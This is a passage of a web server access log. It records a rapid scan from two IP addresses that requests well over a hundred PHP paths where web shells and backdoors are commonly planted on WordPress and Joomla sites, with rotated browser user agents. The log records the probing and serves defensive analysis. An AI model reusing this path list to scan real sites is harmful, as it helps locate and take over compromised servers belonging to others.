(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:20 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:21 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:21 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:21 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:21 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:22 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:22 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:21:22 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:23 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:23 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 